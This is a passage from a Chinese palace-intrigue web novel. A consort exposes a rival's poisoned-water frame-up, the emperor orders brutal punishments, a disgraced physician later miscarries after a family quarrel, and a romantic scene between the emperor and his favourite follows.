“荒谬,”俏贵人像是被烫到一般,脱口反驳,声音尖细慌乱,“她人都**,如何下毒?慧贵人,你为了脱罪,真是无所不用其极,连**都要诬陷!”
殿中众人也都面露惊疑。
小皇帝也不可置信的皱眉沉思。
楚念辞不慌不忙,转向端木清羽,条理分明地解释道:“陛下。”
“坠儿每天负责工作是取水,但人来人往,她无法下手,但她不用下毒,因为有人早就把毒下好,每天送来的水中,只有一桶是有毒的……"
说到这儿,她顿了顿,因为端木清羽明眸中已闪过一丝明悟。
没有想到,他也猜到了。
她继续说,"坠儿活着,她知道哪桶水有毒,自不会取用有毒的水,但只要她离开或**,那辆下过毒水,就会被取用,如此,毒发时她已‘死’,既洗脱了自己下毒的嫌疑,又能将祸水彻底引到臣妾身上,完成她以死诬陷。”
她目光湛然,掷地有声:“陛下若不信,可立即查验今日送入棠棣宫,以及可能尚未被取走的水车,极可能就在其中某一辆之内,臣妾恳请陛下,先查水车,同时大搜六宫,毒死白庶人的寒食粉,也在六宫之内。”
殿内霎时一片死寂,落针可闻。
这个推断实在出人意料,却又隐隐契合了那环环相扣的歹毒算计。
她面色已如死灰,浑身控制不住地轻颤,一股寒意从脚底直冲头顶,手脚冰凉。
脸上写满了计划被戳破的惊惶。
她竟然全看穿了……这计划本该天衣无缝。
入宫以来,她自认智计过人,却没想到……
**指证,活人**,本是铁证如山计划,能被她看穿。
这说明她的智力已在自己之上。
看着她冷笑的脸,俏贵人突然意识到,她……可能早就知道自己寒食粉的事儿,怪不得没搜出**,那**,肯定被她反手埋到了自己宫中。
刷的一下,俏贵人冷汗流了下来。
“陛下,这,大搜六宫,会让人心惶惶……”俏贵人嘴唇哆嗦地反驳,但已面如死灰,她浑身难以抑制地一颤,一股冷惧从脚底瞬间蹿遍全身,四肢冰凉。
“都是妃嫔,让侍卫搜检,成何体统?大肆搜宫,有损陛下的威严!”蔺皇后也出声劝阻。
端木清羽自从入殿眸光很冷,如冷寂的千里冰湖。
此时,那冷冰冰的脸上,终于裂开一道缝隙,“果然是心思歹毒,竟如此布局害人,传朕的命令,拦截水车,大搜六宫……”
敬喜领命,带着侍卫传旨搜宫去了。
很快,一位侍卫回来了,面色犹豫,跪地禀报:“陛下……”
“查到了什么直说,别吞吞吐吐的。”
“是,”侍卫低头道,“按您的吩咐,东西六宫都仔细搜过了,别处没发现异常,只在……只在俏贵人的闲月阁里,搜出了寒食粉,经查验,与毒死白庶人的那份完全一样。”
其实还搜到赌器什么的,但侍卫们深谙宫里生财之道,自然不会平白说出来,得罪人。
“俏贵人。”
端木清羽的声音像淬了冰,目光扫过熏炉边沿暗褐色的血迹,最后落在俏贵人惨白的脸上。
“你还有什么可说?”
俏贵人双腿一软,扑通一声重重跪倒在冰冷的乌金砖地上。
膝盖传来尖锐的疼痛,却远不及心中恐慌的万分之一。
她咬紧了下唇,直到尝到淡淡的血腥味,眼中迅速盈满泪水。
仰起脸,做出无比哀戚冤枉的模样:“陛下明鉴……臣妾绝不敢行此大逆不道之事啊!若、若真是臣妾所为,臣妾情愿即刻以死谢罪,以证清白!”
她心底仍存着一丝侥幸。
水车每日流动,此时去查。
那辆特定的水车或许早已离开棠棣宫范围,甚至已被清洗,未必能查到痕迹。
端木清羽却不再看她,
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仿佛多看一眼都嫌污秽,只漠然吩咐:“循今日供水线路,给朕一辆一辆地查,凡经手水车、相关宫人,一律扣押细审。”
时间在令人窒息的寂静中一点点流逝。
铜漏一点一滴地将时间仿佛拉得好长。
像是无数细针,持续不断地刺扎着殿内每个人的神经。
俏贵人跪在冰冷的地上,冷汗早已浸透里衣,额发湿黏地贴在惨白的脸颊边。
铜漏滴水声不紧不慢,每一声都像重锤敲在她濒临崩溃的心弦上。
终于,一阵急促而稳重的脚步声由远及近。
敬喜快步进殿,恭敬跪禀:“启禀陛下,棠棣宫门前及近期停留过的五辆水车均已查验,并无异样,但奴才依照供水次序追查至上……
丽正门外甬道旁的一辆备用清水车时,水虽然已倒光,但在车辕凹槽,发现了残留水,含有寒食粉,看守水车的两名杂役太监已拿下,初步审讯,其中一人招认是小禄子贿赂他们的。”
殿内空气仿佛骤然被抽空。
而楚念辞却觉得空气无比甜美。
此刻才深深地舒了一口气。
其实她刚刚的全是猜测臆断,没想到完全押中。
就如同一块大石头落在了地上。
微微红了眼眶,软倒在地。
她并非软弱,而是真实流露出劫后余生的委屈与后怕,那双清澈的眼眸望向端木清羽,仿佛在无声诉说。
看,若非这阴毒算计被揭穿,今日她便是跳进黄河也洗不清了。
端木清羽上前扶起她,拉着她回到旁边的椅子上坐下。
“委屈你了。”他的声音温柔响起,如春风掠过眉眼。
然后,他脸色瞬间阴沉得可怕,眼中风暴凝聚。
“好,真是好算计,”他几乎是从牙缝里挤出这句话,“敬喜,带人去搜闲月阁,给朕里里外外、彻彻底底地搜,突审小禄子。”
“是!”敬喜领命,即刻带着一队侍卫与慎刑司太监匆匆离去。
这一次,等待的时间并不长。
不到半个时辰,前去搜查的侍卫首领便快步回返,手中捧着一个不起眼的青瓷小瓶。
“启禀陛下,皇后娘娘,”侍卫首领单膝跪地,声音洪亮,“在闲月阁后院东南角海棠花树下三尺深处,又掘出一瓶,经章太医查验,内中正是提纯过的寒食散粉末,闲月阁太监小禄子,他已招供。”
“是俏贵人命他暗中在永巷附近贩卖,他还供出,先前攀诬慧贵人的小贵子与坠儿,亦是受俏贵人指使,以重金胁迫其家人相逼,令其作伪证并伺机下毒。”
话音落下,大殿之中先是死一般的寂静。
“天啊……原来是她,亏她还与白庶人平时姐妹相称,这也太阴毒了!”
“设下这连环毒计,不仅想除掉慧贵人,还想把淑妃娘娘也拖下水……”
“平日看她温顺,没想到心思竟深沉恶毒至此!”
“幸好慧贵人聪慧,陛下英明,识破了她的阴谋,否则与这般蛇蝎同处后宫,真是夜不能寐……”
所有人看向俏贵人的眼神充满了震惊恐惧,就连站在她身边宫人下意识地后退了几步,仿佛她是什么剧毒污秽之物,避之唯恐不及。
俏贵人如遭雷击,整个人僵在原地,面无血色,浑身冰凉。
如同被一盆掺着冰碴的冷水从头顶直浇下来,连血液都冻住了。
绝望瞬间吞噬了她。
第86章 帝王无情,舜卿丢脸。
“不……不是的,陛下,是慧贵人陷害臣妾,”她瘫软在地,向前膝行几步,想去抓端木清羽的衣摆,却被敬喜毫不留情地拦下。
一行清泪,从她娇艳的脸上流下,如残春破碎的花朵。
望着帝王冷厉如寒冰双眸,哀哀恳求的容色,令人心生怜悯。
可端木清羽居高临下地看着她,眼中只剩下厌恶与恶心。
他向来最憎恶的。
便是这等表面柔顺、内里蛇蝎,为争宠不惜戕害人命、扰乱宫闱的妇人。
“朕早已明令,后宫不得争风吃醋、相互倾轧,”他的声音结起冰霜,“却总有人心存侥幸,以身试法。”
“俏贵人韩氏,”他的声音平静无波,“于宫中私藏禁药寒食散,构陷妃嫔,谋害人命,罪证确凿,无可抵赖。其心歹毒,其行可诛,即刻褫夺封号,贬为庶人……”
最后,他顿了顿,一字字道:“杖毙。”
俏贵人脸上最后一点血色也褪尽了,整个人瘫软在地。
“扙毙……”
两个字,震得她耳膜嗡嗡作响。
宫中处死妃嫔,一般会采取白绫、鸩酒、**。
这三种,虽然是处死,可是为嫔妃保留了最后一丝体面。
而杖毙,往往是对犯了大错的奴婢。
因为杖毙是要脱掉裤子,当众责打至死。
看到水桶被查获的那一刻,她就知道完了。
可她心里还存着一丝妄想。
从前白嫔犯下大错,陛下也不过是废其位份,并未取她性命。
可她忘了,白嫔有家世傍身,自己凭什么?
更没有想到,自己面临的将是杖毙。
这时她才意识到帝王无情啊!
帝王无情……
她面色灰败向端木清羽恳求:“陛下,您曾经对臣妾说过,即便臣妾犯了大过,也会保持臣妾的体面。”
那时前几天到养心殿伺候笔墨事,她向他求的恩宠。
“当时朕也说过,”端木清羽道,“你别挑战朕的底线。”
“不……”俏贵人拼命的挣扎,推开两个前来拖她的宫人。
楚念辞在太监上前拖人时,忽然问道:“俏贵人,若你并非主使,或许罪不至死。”
主使?
俏贵人混沌的脑海里闪过皇后那双深不见底的眼睛。
是,一切都是皇后的暗示。
可那仅仅是暗示,没有半点证据。
她不能说。
犯下这罪,死的只是她一人,若攀咬皇后,整个家都将万劫不复。
或许……或许皇后念在她忠心赴死的份上,日后还能提携她家人一二。
她死死咬住嘴唇,直至腥甜弥漫口腔,任由太监将她拖出殿外。
挣扎间,一只绣鞋脱落在地,孤零零地留在光滑的乌金砖上。
临昏死前,她听见端木清羽冰冷的声音,从殿内传来:“韩氏夷族,闲月阁宫人,一律杖毙,合宫奴婢,于慎刑司外观刑,以儆效尤。”
俏贵人呜呜咽咽着想尖叫求情,可早被人堵住了嘴。
如破布娃娃一般拖了出去。
随着俏贵人被拖出殿外,染血的铜香炉也被一并清理了出去。
地上一道刺目的血痕,正殿已经不宜再住下去。
端木清羽的目光在地血痕一转,抬手用手捂住了鼻子。
“那楚内医糊涂渎职,如何处置?”淑妃连忙道。
楚舜卿正偷偷往后缩,真恨不得地上有个洞钻进去。
闻言浑身一颤,立刻跪在地上。
“楚内医确实医术不精,念其南诏微功,革去内医之职,罚为药徒,并手杖二十。”
药徒?
怎么会这样?
药徒平日不但要捣药煎药,还要给老弱病残的宫女太监看诊,说白了就是奴婢的下人。
不……她不要做这个。
那些宫人,身上的味儿,臭得都能把人熏死。
可楚舜卿不敢反抗圣旨,只羞得无地自容。
还得跪地叩谢圣恩。
蔺皇后面如土色,死死咬着嘴唇。
端木清羽目光转向蔺皇后,冷眉看着她,声音中只有厌倦与乏味:“朕不求你如慧贵人这般聪慧宽和,但至少别学那长舌妇人,听风就是雨,整日搬弄是非,给朕惹这么多麻烦事,朕看你需好好养病,以后嫔妃们就不要每日上门讨扰你了!”
这是直接把皇后给禁足了。
天子之威压得人喘不过气。
蔺皇后脸色一白,直直跪了下去:“是臣妾失察,误会了慧贵人……求陛下恕罪。”
皇后身边的方才那几个跟着附和、冷言冷语的宫人也慌忙跪倒。
淑妃美艳的脸上带着几分惋惜,一双杏眼却尽是幸灾乐祸,笑道:“皇后也是耳根子软,不该人云亦云,糊涂行事。”
她面露得色,刚想乘胜追击。
这时,李德安入内禀报,说竹青姑姑已在御书房等候。
竹青是太后贴身的姑姑。
这便是太后知道了风声,来给皇后求情了。
听见竹青二字,端木清羽这才瞥了皇后一眼,抬手示意她起身,道:“朕现在没空见她。”
这是连太后都迁怒上了。
蔺皇后脸上的脂粉已盖不住苍白。
淑妃看向楚念辞,眼中却多了几分难以言说的复杂。
静了片刻,端木清羽顿了顿,道:“今日让你受屈,朕明日便让人送你一尊紫水晶香炉。”
楚念辞垂首一礼,语气温静:“您政务如此繁杂,还分神为臣妾洗清冤屈,臣妾不委屈。”
他走到楚念辞面前,将她轻轻扶起,指腹抚过她眼角未干的泪痕,语气缓和下来:“今日受此惊吓,同朕回养心殿,这儿让人重新打扫。”
帝王竟为了她打破养心殿不留妃子过夜先例。
"谢陛下,斓贵人至今昏迷不醒,臣妾恳请陛下,让臣妾去照拂。"
"你果然有情有义,罢了,朕陪你一起去看她。"
说罢,便起身牵着楚念辞的手,款款离去。
皇后与淑妃齐声恭送:“臣妾,嫔妾恭送陛下。”
淑妃望着端木清羽那芝兰玉树的背影,眼露不舍,可陛下去看**妃子,她拦不了,回头又看见皇后面如死灰,不由冷哼一声。
要不是她,想陷害别人,陛下怎么可能当众牵着慧贵人,以示安慰。
“皇后娘娘,养狗也得养
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一条有用的狗,你想不到吧,当初若是你弟弟好好待人家,也不致弄了这么个劲敌,天天在这儿点眼堵心。”淑妃临走,还不忘嘲笑一下。
蔺皇后脸色已经败如金纸,连反驳的力气都没有了。
寒食粉的事,陛下震怒。
一时间,后宫奴婢全被传去观刑。
俏贵人被杖毙、楚内医被罢职的消息转眼传遍六宫,蔺景瑞却是最后一个知道的……那时他正窝在药房里,专心给皇后配养身药方。
消息是个小太监特意来告诉他的。
“你说什么?楚内医被罢职?为何?”蔺景瑞一把抓住小太监手腕,脸“唰”地白了,“你是不是听错了?”
那张清冷矝贵的脸上写满不可置信。
“哎您松手……”小太监急着挣脱,“怎么会错?俏贵人用寒食粉毒死白庶人,还想嫁祸给慧贵人,宫里都传开,楚内医没验出毒来,差点误了圣断,只革职已是万幸……对了,陛下还吩咐各宫都得去观刑。”
说完他才猛然想起,这位蔺院使跟楚内医是一家人,赶紧打了下自己的嘴,匆匆跑了。
蔺景瑞呆站了好一会儿,像丢了魂似的,突然转身就朝慎刑司跑。
楚舜卿正被两个太监拖到慎刑司外。
俏贵人已被脱了长裤,按在条凳上,她拼命挣扎,只可惜如何能挣得过那些身强力壮如狼似虎的行刑太监。
为了不几板打死,行刑手不打内脏,特地往骨头上招呼,每一下都传来骨头碎裂的声音。
“啪——啪——”的板子声像刀子一样刮过耳膜。
地砖上漫开鲜红的血,石缝里泥土贪婪地吮吸着血液。
楚舜卿只觉下边传来小解的感觉,她实在忍不住,只觉下边一热,紧紧闭着眼。
羞耻的,恨不得找个地缝钻下去。
她心里只求这场噩梦快点结束。
怎么会变成这样?
这和她前世记得完全不同……
上辈子,俏贵人一路做到俏妃,在宫里风光得很。
而自己虽未大富大贵,此时也该得了皇后青眼。
楚念辞?
她前世这时正被谢氏折磨得卧床不起,怎会成了贵人?
而自己千辛万苦才进了内医局……
她凭什么?
就凭会给陛下端茶倒水吗?
楚舜卿强稳住心神。
都怪楚念辞!
若不是她说什么“两种毒不一样”,自己怎会落得这般下场?
她心里反复念着:一定是弄错了,一定是哪里出了问题……
不知过了多久,板子声终于停了。
一个行刑太监朝她走来。
太监闻到她身上的尿骚味儿。
"**,真晦气,还没动手就尿了一身。"太监捂着鼻子骂道。
楚舜卿羞愤欲死。
“唔……”她刚开口,一记木板狠狠扇在脸上,痛得她发不出声。
就在这时,她忽然看见人群外……那片蜡梅树后。
站着一个修长如青鹤般身影。
蔺景瑞。
他像尊石像般僵在那里。
脸上木然,混杂着惊愕、尴尬、懊悔,还有藏不住的震惊与厌恶……
第87章 楚舜卿被蔺景珏推流产
见到他这种表情。
楚舜卿指甲掐进手心,疼得钻心。
但她无暇顾及,板子劈头盖脸的落下,最后一下板子打完,她喉头一腥,竟吐出一颗门牙。
架着她的太监一松手,人就直接瘫在地上,昏死过去。
再醒来时,已在颠簸的马车上。
她勉强撑起身,掀开车帘,看见蔺景瑞竟走在车旁……宁可走路,也不愿和她同坐一辆车。
是嫌她身上有股尿骚味吧。
“蔺郎……”她伸手拉开窗帘,嗓子哑得厉害,“你听我解释……”
蔺景瑞没停步,也没看她。
还有什么可解释的?
他心底一片冷凉。
率真?医术?
全是假的。
一路南下,算计的是正妻之位。
想办法入宫,也是为了权势富贵。
“别多想,”他语气淡淡的道,“回去再说。”
夕阳照过来,但他那双眼睛更空洞,没什么光亮。
直到宫门渐远,他却忽然回头,往深宫方向望去。
心中猛地一刺。
自从听说她封了贵人,去汤泉宫,他就知道已经无法挽回,但是他没有放弃,皇帝再宠,也不会长久,他等她后悔,等她回头。
目光沉沉,像隔着重重高墙在找什么人,久久,他收回目光,掩下眼中一片不甘。
“蔺郎!”楚舜卿趴在车窗边,见他没理自己,心里凉透了。
就在这时,她的手无意间搭在小腹上。
最近他对她格外冷淡……可没关系。
她还有一张底牌……她怀了他的孩子。
楚舜卿苍白的脸上,终于浮起一丝笑意。
等他知道了,总会高兴的吧。
回到府里,楚舜卿躲在房中,整日用面纱遮脸,养了十几日的伤。
这期间,连小姑蔺景珏上门来冷嘲热讽,她也咬牙忍着,只当没听见。
脸上的伤好不容易结了痂,刚缓过一点劲儿,蔺景瑞便派人来传话,说是谢氏旧疾复发,让她过去伺候。
楚舜卿心里不情愿,却也只得换了衣裳,草草梳了头,往慈安堂去。
因楼下阴冷,谢氏已搬到了小二楼住,她便也扶着楼梯上去。
门口守着的丫鬟婆子见她来了,忙掀开厚厚的棉帘子。
一股浓重的药味混着些尿骚的气味扑面而来,楚舜卿下意识就掩住了口鼻。
屋里,谢氏躺在榻上,脸色蜡黄,呻吟不断,再也没有当初端庄伯夫人样子。
蔺景珏守在床边抹眼泪,蔺景瑞则立在旁,俊脸沉沉,眉间满是焦躁。
“瑞儿……”谢氏喘着粗气,断断续续地说,“娘这心口……闷得慌,浑身都疼……”
蔺景珏扑到床边:“娘,您前些日子不是见好了吗?”
旁边伺候的宋嬷嬷抹泪接话:“上次寻来的那祛风丸,已然吃完了。”
楚舜卿有些心虚,低声道:“前阵子我开的方子调理着,原是好了些的。”
这话就像火星子,瞬间点着了蔺景珏。
她跺脚嚷道:“大嫂!那分明是祛风丸的功效,与你开的药有什么相干?我看你连你那攀高枝的**都不如!”
楚舜卿最恨人拿她与姐姐比较。
气红了脸:“小妹,她忘恩负义,自顾自去求富贵,我这些时日是如何尽心伺候母亲的?你怎能一句话就抹了!”
“哼,”蔺景珏满脸不屑,“她是见利忘义,你也是个没用的,开的药都不顶事,若不然怎么会在宫里挨板子,连职位都丢了,早说治不了,咱们还能张榜另请高明,如今让娘白受这些罪……你还不如那小**呢!”
在宫中受的**还未消散,此刻又被小姑这般羞辱顶撞。
楚舜卿气得浑身发抖,眼泪在眼眶里打转,望向蔺景瑞:“夫君,你听听,我前些日子只要不当值,哪日不守在娘身边?若非我悉心照料,娘哪能缓过那口气?”
她楚楚可怜的抹着眼泪。
可惜她脸上伤痕交错,这副的模样,非但没能引来怜惜,反让蔺景瑞一阵恶心。
他厌烦地别过脸去,神色疏冷。
蔺景珏立刻嗤笑:“做出这副丑样子,恶心**?”
“蔺郎,你看小姑……”
“真会狡辩!”蔺景珏冷笑,“你这张嘴,可比你的医术厉害多了!”
蔺景瑞皱着眉头不说话。
楚舜卿又气又委屈,“今年天寒,旧疾复发岂能全怪在我头上?再说了,保不齐就是当初楚念辞用错了药,才让母亲身子亏虚至此,怎么什么都赖我?”
“都少说两句,”蔺景瑞被吵得头痛,道,“你是嫂子,不能让着妹妹些,娘还病着,你就不能安静点?”
楚舜卿眼圈通红:“我说什么了,你们是一家人,只有我是外人。”
“够了!”谢氏捂着胸口,一阵急咳,“你是嫂子,景珏也是看我受罪心里着急……咳咳,再吵,你就给我去柴房跪着!”
楚舜卿顿时噤声,不敢再言。
谢氏靠在床头,气若游丝地对蔺景瑞说:“瑞儿,娘这身子实在疼得受不住……祛风丸又没了,要不,就依景珏先前说的,张榜请个大夫吧?”
“张榜?”蔺景瑞面露难色。
楚舜卿忍不住插嘴:“夫君,张榜倒也是个法子,只是重赏之下必有勇夫,咱们出多少赏银才合适?”
蔺景珏不懂持家,脱口便道:“这还用想?自然越多越好,我前儿在街上瞧见的招贤榜,最少都是一千两!”
“一千两?”楚舜卿声音都变了调,“家里哪来这么多现银?”
见她如此,蔺景珏小嘴一撅:“大
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嫂,你嫁妆里不是还有一对翡翠镯子、一套金丝头面,还有好几匹上好的江南锦缎吗?先拿出去抵了,应急。”
楚舜卿低着头不说话。
上回拿自己的翡翠头面去抵债,至今还未赎回来,如今又要动我的嫁妆?
挣了半天,才小声道:“要抵,怎不用你自己的?”
“娘,我就几件首饰,等皇后娘娘过几日给我选完婿,我就把首饰当了,”蔺景珏带着婴儿肥的圆脸上全是委屈,“她这般藏私,我看就是假孝顺!”
谢氏拍着床沿,连咳数声:“好、好……好一个孝顺媳妇!竟逼着小姑子当嫁妆?往后别再叫我婆婆,我受不起你这等‘孝心’!”
楚舜卿的眼泪瞬间滚落。
她怎就没孝心了?
首饰当了,日夜不歇地伺候。
如今只这一件事不肯,便成了不孝之人?
“好了,”蔺景瑞被闹得筋疲力尽,沉声道,“就先抵押嫁妆吧,娘的病耽误不得,舜卿日后还你。”
他心里不胜其烦。
念辞从未因这种小事,烦过自己。
谢氏闻言,怒容稍缓。
楚舜卿却愣住了,难以置信地望着蔺景瑞。
他曾亲口许诺,绝不动用她的嫁妆。
“不行……”她喃喃道。
她不想再呆下去,转身便要走。
蔺景珏见她欲走,急步追到楼梯口,一把拽住她的衣袖:“话还没说完,你别走……”
楚舜卿回身猛地一挣。
蔺景珏被推得踉跄几步,站稳后更是恼火,又扑上前来撕扯。
两人在楼梯口推搡纠缠。
楚舜卿背对着陡峭的阶梯,只顾挣扎,全然未觉脚下危险。
蔺景珏眼中忽地闪过一丝恶毒的寒光……若这女人**,那些嫁妆,不就……
电光石火间,她假作站立不稳,惊叫一声,身子却猛地向前一撞……
楚舜卿只觉得一股大力袭来,脚下一空,整个人便向后仰倒,顺着楼梯直滚了下去。
后腰与坚硬的木阶狠狠相撞,一阵尖锐的剧痛从小腹炸开。
她蜷缩在冰冷的地上,疼得眼前发黑。
“孩子……我的孩子,蔺景珏……好狠……”她呻吟道。
温热的液体毫无征兆地自腿间涌出,迅速浸湿了裙裾,在身下洇开一片刺目的暗红。
她下意识地捂住小腹,那里方才还承载着沉甸甸的希望。
此刻只剩下一阵阵空虚的绞痛。
楼上传来纷乱的脚步声和惊叫,嘈杂而遥远。
楚舜卿躺在那一滩血红之中,怔怔地望着高处楼板模糊的轮廓。
痛楚绝望终于淹没了她。
孩子……她的孩子……没了。
心中最后一点微光,也熄灭了。
蔺景珏……我与你不死不休……
第88章 陛下看慧儿的目光是倾慕……
深夜的棠棣宫,侧殿里,飘着淡淡的药味。
沈澜冰慢慢睁开眼,望了望一边的贵妃榻上……红缨已经睡熟了。
嘉妃症状轻,已经先被抬回去了。
而她症状实在太重,太医说不宜挪动,她便留在这儿,医治加疗养……
感觉比前两日好些了,不再那么昏沉恶心。
只是身上仍一阵阵酸麻刺痛。
红缨睡相规矩,不像楚念辞,她陪夜时,总翻来覆去,一夜不知要换多少姿势。
今晚她大概累极了,怕是留在西厢房歇下了吧。
章太医说她熬了好几日……沈澜冰心里一动,忽然想去看看她。
这个念头闪过,她随即翻了个身,慢慢爬起来。
进宫不过三月,她已见识了何谓深宫似海、魑魅横行。
幸而心底还存着一缕光……慧儿,就像自带光源,只要想到她还在那儿,她总觉得无比温暖无比踏实。
静躺片刻,她终究强撑着身体,掀被起身,披上一件狐裘大氅推门走了出去。
门口守夜的太监睡着了。
沈澜冰没提灯笼,迎着凉凉的夜风,独自往西厢房走去。
房里,楚念辞正一边盯着给沈澜冰煎的药,一边拿着个梨子削皮,手边还摊着本大舅托人送进来的闺中话本……《棒打薄情郎》《重会珍珠衫》《明皇秘史》之类的。
故事虽老套,她却看得入神,不时唏嘘几声,不时还抹几滴眼泪。
虽然她基本已经不相信这世上还有爱情,但并不妨碍她相信这东西,在话本这里还存在。
人对于美好的东西,总是还心生向往。
端木清羽则安安静静地坐在贵妃榻上,面前堆着厚厚一摞奏折。
屋里暖融融的,只有铜鼎里炭火偶尔噼啪轻响。
微风吹过,他黑缎般的长发轻轻拂过脸颊,侧影在烛光下格外清俊。
楚念辞觉得今晚看他特别顺眼……他已经陪在这儿照顾沈澜冰好几天了。
这人虽然翻脸比翻书还快,生起气来,暴虐得如同海上突然刮来的风暴,能掀翻一切。
但到底他有同情心、有底线,不会无缘无故打杀下人。
上次用雷霆手段处置寒食粉的事,也是为禁绝那害人之物。
若非如此,恐怕根本压不住。
以他的城府和手段,只要身体撑得住,坐稳江山,甚至开创盛世应当不难。
这几个月她冷眼瞧着,他对朝政十分上心,也颁行了不少利国利民的仁政。
就冲这点,她甚至觉得,他说不定真能成个明君。
哪怕他再腹黑,至少待自己不错,这回的事也全然站在她这边。
看着他烛光下,清秀隽美的侧脸轮廓。
心想,将来后宫的女人,不为恩宠地位,光为这张脸就可能打得头破血流。
她眯缝着眼正想到忍俊不禁之处……
端木清羽却侧目看来,问:"看什么书?"
楚念辞忙弯起嘴唇,递了《明皇秘史》给他。
"这种市井小说,消遣就行,别看得迷进去,信以为真。"
他是怕自己信了书中之事,变成淑妃那样。
"陛下,您觉得明皇爱杨妃吗?“
她好奇问。
前朝明皇与杨妃彼此承诺,一生一世一双人,但最后兵变,他还是舍杨妃于马嵬坡,最后明皇孤身一人,郁郁而终。
”那当然,只是明皇兵变时,畏缩不前,若是朕,会率近卫,与贼首谈判,乘隙杀之。"
楚念辞忙露出崇拜之色,道:“陛下英武,满宫嫔妃都想做您的杨妃。”
端木清羽斜睨她,用奏折一敲她头,道,“若可以,朕选一正妻即可,省得身边,弄上这许多,聒噪!”
楚念辞心道。
选一妻,我信你个鬼嘞。
脸上却露出失言之色,忙削好一片梨,讨好地递到他唇边。
端木清羽一怔,黑缎般柔亮的长发拂过那张精致隽美的脸,眼角微挑:“做什么?”
楚念辞笑得甜甜的:“陛下嘴角都起皮了,吃片梨润润吧。”
她自觉笑的纯真可爱,可落在他眼里……
眉间一点红,薄唇弯弯,一双笑眼只从那黑浓的睫毛间射出一线湛亮的精光来,配上那斜飞的长眉,整张脸是明艳灵动,可却透着一股狡黠,简直像锦绣堆里生出的妖精一般。
端木清羽闭了闭眼,喉间轻轻一滚。
他伸手轻捏她下颌:“又来招惹朕,不怕腰疼?”
眼梢那抹锐色里,却荡过一丝似笑非笑的涟漪。
楚念辞立刻想起前些日子汤泉宫的教训,忙收敛神色,老实将梨片递到他唇边。
接着坐回小凳,一边翻话本,一边继续喂他吃梨,自己也时不时塞一片。
谁知稍一走神,竟把梨肉送进自己嘴里,反将一片梨皮塞到了他嘴里。
端木清羽顿住:“……”
楚念辞再递,发现他不张嘴了。
抬头一瞧,他形状秀气鲜妍的唇间正含着一小截梨皮。
端木清羽:“……”
见他目光微冷,她一边后缩一边笑:“陛下眼明心亮,肯定看见臣妾不是故意的,对吧?”
端木清羽气得拿起奏折要敲她。
楚念辞跳起来就往外跑,眼看要窜出殿门,他在身后叫住:“楚念辞!”
她慌忙刹住,一脚在里一脚在外,从门框外,慢慢伸出娇秀眉眼,如妖物般娇滴滴地道:“陛下还有什么吩咐?”
端木清羽本想教训她几句,转念又觉得说了也是白说,索性敛了怒意,只淡淡道:“过几日太后办‘除夕宴’,你仔细些,别惹她不快。”
“来,朕将太后禁忌告诉你。”
楚念辞犹豫片刻,想到除夕宴确是件要紧事,便轻手轻脚走了回来。
不料刚靠近,就被他一把抓住,按在了榻边。
“你这般‘忠心’,朕不能不赏。”端木清羽一边压着她,一边伸手挠
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她腰侧的痒痒肉。
“哈哈哈……陛下饶命!”楚念辞腋下最是怕痒,一边笑一边躲,不一会儿就讨了饶。
闹了几十息,她才坐回贵妃榻上,重新翻起书来。
端木清羽伸手,轻轻拂开她耳边一缕碎发。
门外,沈澜冰静静站着。
她没看见方才的打闹,只见到这温存一幕。
月光淡淡镀着她的脸庞,从这个角度,她看不清楚念辞的表情,却将端木清羽的目光尽收眼底……
那眼神平静中透着爱恋、欣赏与关切。
这一幕如此熟悉。
她忽然意识到,端木清羽待楚念辞,早已超出了寻常宠爱。
或许连他自己都未曾察觉,那已不是对宠妃的喜欢,而是真切的倾慕。
这让她想起从前在家时,母亲坐在床边做针线,父亲在一旁看书,偶尔抬头望向母亲的那一瞥……就是这样的目光。
沈澜冰默默低下头,转身悄然离开。
她心下已然明了。
是了,一定是这样……一种难以言喻的情愫,不知何时,在他们之间悄然生长。
可能他们自己都没有丝毫的察觉。
走回侧殿的路上,沈澜冰心里沉甸甸的。
她为楚念辞高兴,却也生出几分说不清的怅然。
说不嫉妒那是假的。
她多希望那种目光能有一丝一毫落在自己的身上。
可她更是骄傲的,求不来的东西,她从不屑去争,去抢。
毕竟宠爱是可以挣来的,但倾慕是人发自肺腑的,便是去争去抢,也只能是镜花水月一场空。
自己求而不得的东西。
慧儿总算得到了。
她为她高兴的同时,也忧虑在这步步惊心的宫里,能得一人真心相待,何其不易。
可这份“不易”,背后又是多少眼睛盯着、多少心思算计着……
她以后护着她就是。
沈澜冰看了一眼天边被薄薄的乌云笼罩住的半弧月儿,悄悄地吸了一口气,轻轻地攥起手,仿佛手里正握着一个易碎的瓷瓶。
夜色笼罩住了她如翠竹般好看的身影。
殿内,端木清羽心情颇好,牵着楚念辞走到床边坐下,将她揽入怀中。
这一切恰在楚念辞的预料之中。
她要的,就是让他觉得,唯独在自己身边时,他才能这般松弛自在。
他越是贪恋这份轻松,两人之间的羁绊就越深,关系也越发紧密。
一步步牵引他的情绪,让他难以忘怀在此获得的愉悦,她在他心中的分量,自然也会悄然增长。
端木清羽自己也感到些许不可思议。
面对慧贵人时,她一举一动,总能牵引着自己的视线。
却总让他感到格外舒适。
想到自己不能再如此沉迷下去,于是,他悄然换了一个话题。
“寒食粉的案子,朕一直有些好奇,爱妃是如何看破其中手法的?”端木清羽眯着双眸,忽然问道……
第89章 封为夫人,太后出手。
楚念辞红唇微翘。
倚在端木清羽怀里,没有直接回答他的疑问。
她当然不能说自己重活了一世,见过太多后宅阴私的手段,这点算计实在不算什么。
于是只娇声道:“臣妾平日最爱看些杂书本子,里头就有过类似的案子呢。”
端木清羽这才想起她常翻的那些话本,不禁捏了捏她的脸:“楚茂林倒是教女有方,若他真有才干,朕不吝重用。”
“陛下过奖了,”楚念辞柔声道,“父亲刚任苏州知府,尚未做出政绩,此时若再封赏,只怕会惹朝臣非议,反而不美。”
她心里清楚,父亲一月内已连升两次,再晋封必招来御史**。
况且,她也不愿让那自私的父亲白白占尽好处。
“臣妾自幼是在外祖母家长大的。”她轻声补了一句。
这样的恩典,理应落在母家才对。
“听说你小舅今科乡试中了魁首。”端木清羽看她一眼,心中了然。
楚念辞眼中漾开笑意。她早得了信,小舅舅中了举人第一,表哥也考取了秀才。
她心里盼着陛下能施恩母家,却也不愿显得太急切,便只笑着不说话。
端木清羽双眉弧度极轻微的一轩,眼底泛起淡淡笑意:“寒食粉一案,朕明面上不便重赏你,你已是贵人,再升便是嫔位,骤然封嫔难免引起风波,这样吧,过几日朕赐你‘夫人’封号,另外……”
他顿了顿,“下一科进士考试还要等三年,开春后,朕打算增开一场恩科,届时你小舅舅便可上京应试。”
“当真?”楚念辞眼睛一亮,顺势扑进他怀里。
